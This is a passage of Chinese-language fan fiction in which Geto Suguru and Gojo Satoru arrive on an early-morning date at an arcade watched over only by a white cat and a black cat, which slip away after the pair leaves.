夏油杰心下叹气，不管怎么说五条悟看起来都更在意他，但没能提前结束掉另一段关系，总让人觉得有些名不正言不顺……可这些事都是他们之前就会一起做的，究竟要怎么才能让五条悟意识到他的心意呢？ 优等生不止一次陷入苦恼。 …… 他们两人的身高本来就很显眼，今天又都还特意打理过，更加引人注目了，但只要轻轻一看两人紧握在一起的手，就没人上来搭讪了。 夏油杰的安排实在非常体贴，虽然电玩城早上就会开门，但绝不会有人像他们一样大早上就跑来玩，对五条悟的脑袋很好。不过出人意料的是，守在电玩城柜台处的并没有人，而是两只真正的猫。 一白一黑两只猫咪乱七八糟地叠着趴在柜台上，它们身边立着一张纸制的小告示牌。 “店长有事出门，请自助换取游戏币……”夏油杰念着小告示牌上的文字，在文字的末端还被画了一只可爱的猫爪，他又瞟了眼旁边那两只很有既视感的猫，忍不住吐槽道，“也太心大了吧。” 虽说早上客流量少到近乎没有啦，但就这样离开让小猫看店是不是有点太放心了？倒也不是害怕钱财损失什么的……养得这样油光水滑的好猫咪万一跑出去或是让人抱走了，可都是很大的损失啊。 尤其是白色的那只，眼睛也是很漂亮的蓝色……黑色那只体型稍微小一点，几乎完全被它压住，只露出个圆圆的猫脑袋，闭着眼似乎已经睡着了。 白猫目不转睛地盯着他，看起来非常无害可爱，夏油杰略感犹豫……可以摸吗？突然会不会对小猫咪来说有点不太礼貌了？ 夏油杰还在这儿看猫呢，五条悟已经跟着自助的步骤换好游戏币了。他对柜台上的猫没什么兴趣，但挚友在这里逗留的时间太长了，他便也过来看两眼…… 五条悟丝毫没有关怀小猫咪心理健康的意思，伸手就准备摸摸猫，白猫一下仰起脖子对他怒目而视，大有他敢伸手摸下去就会动爪揍他的意思。 非常凶恶！ “啧。这家伙怎么这么凶？”五条悟悻悻地收手，别人的猫确实养得很好，万一不小心玩坏了会破坏他今天的约会，五条悟还是不想节外生枝，扯了扯夏油杰的衣角说，“好啦杰，我们去玩吧，再看也是别人的猫。” 夏油杰黑线道：“……悟不要说得我好像图谋不轨似的。” 虽然……他好像确实对某只猫图谋不轨就是了，但此猫非彼猫啊。 五条悟很警惕，“那杰一直看它们干什么啦？今天的注意力不应该在老子身上吗？” 夏油杰：“……” 可怕啊，事到如今也仍然能理所应当说出这种话的家伙……他有点被哽住了，无奈道：“……我知道了！” 两个少年的背影逐渐远去，柜台上的黑猫突然睁开眼睛，脸上似乎露出了非常人性化的忧愁神色。 白猫低下头看了它一眼，两只猫似乎交换了一下脑电波，随即跳下柜台跑没影了。